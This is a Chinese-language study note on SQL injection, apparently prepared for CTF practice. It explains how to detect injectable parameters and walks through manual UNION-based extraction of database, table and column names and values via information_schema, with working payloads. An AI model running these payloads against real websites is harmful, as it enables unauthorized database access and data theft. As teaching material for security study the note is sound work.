一、SQL注入的本质
1.SQL注入的本质:就是将用户输入的数据当做代码来执行。
2.关键条件:
用户可以控制输入
将原本程序要执行的代码,拼接上用户输入的数据然后执行
3.什么是SQL注入:就是针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行
4.判断是否存在注入点
select * from xxx where id=1 and 1=1 输出
select * from xxx where id=1 and 1=2 输出
如果满足上述语句,拼接and语句正常输出,则表示存在注入
select * from xxx where id=1 输出
select * from xxx where id=1' 错误
上述语句中拼接的是 ' 满足该语句存在注入
select * from xxx where id=1 输出
select * from xxx where id=3-1 输出
上述语句中拼接的 - 被执行存在注入
5.手注过程总结:
手注的顺序为: 库-表-列-字段
得到网页的数据库名称:
id=-1' union select 1,2,3,database()
获取本数据库汇总的所有表的名称:
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
获取所有列的名称:
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=xxxxxxx#
得到列的所有字段:
id=-1' union select 1,2,3,GROUP_CONCAT(flag) from 表名字
注:group_concat() 函数是将结果放置一行之中 逗号隔开 进行输出
6.显错注入,联合查询的基本流程
首先对于一个网页来说,你需要先知道字段数,可以使用 order by 来对字段数进行猜解 如:
select * from xxx where id = 1 order by 3 正常
select * from xxx where id = 1 order by 4 错误
这两条语句表名xxx中存在3个字段
下一步就是使用联合查询来找到输入点,对输入点就行注入,得到想要的数据,其过程如手注过程。另外每个网站只有一个输入点,需要使用limit
limit 0,1 表示从结果的数据中第一行取一个
limit 1,1 表示从结果的数据中第二行取一个
在mysql5.0版本以存在 information_schema这个系统自带库
这个系统自带库中保存着关于MySQL服务器中所有数据库的信息。
如数据库名,数据库中的表,访问权限等。
information_schema.tables
存放表名与库名的对应。代表information_schema库中的tables表
information_schema.columns
存放字段名和表名的对应 代表information_schema库中的columns表